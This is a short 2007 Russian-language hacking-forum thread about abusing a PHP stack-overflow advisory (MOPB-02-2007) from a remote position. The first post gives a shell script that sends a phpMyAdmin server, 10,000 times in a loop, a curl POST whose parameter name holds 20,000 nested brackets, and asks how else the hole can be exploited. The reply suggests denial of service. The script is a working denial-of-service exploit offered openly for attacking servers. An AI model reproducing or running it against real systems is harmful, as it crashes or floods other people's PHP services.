Что можно сделать, если удалённо вызвать в Php переполнение стека?

Discussion in 'PHP' started by pento, 13 Mar 2007.

  1. pento

    pento Elder - Старейшина

    Joined:
    3 Jul 2006
    Messages:
    126
    Likes Received:
    24
    Reputations:
    -1
    Собственно
    есть
    http://www.php-security.org/MOPB/MOPB-02-2007.html
    и есть бажный код.

    Пока додумался только до

    Code:
    #!/bin/sh
    foo="curl http://xxx.xxx.xx.xx/phpmyadmin/ -d a"`php -r 'echo str_repeat("[a]",20000);'`"=1"
    for i in `seq 1 10000`; do
        `$foo`;
    done
    
    Может ещё чего можно интересного замутить, используя дыру эту?
     
    #1 pento, 13 Mar 2007
    Last edited: 13 Mar 2007
  2. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    отказ в обслуживании можно замутить -- прикиньте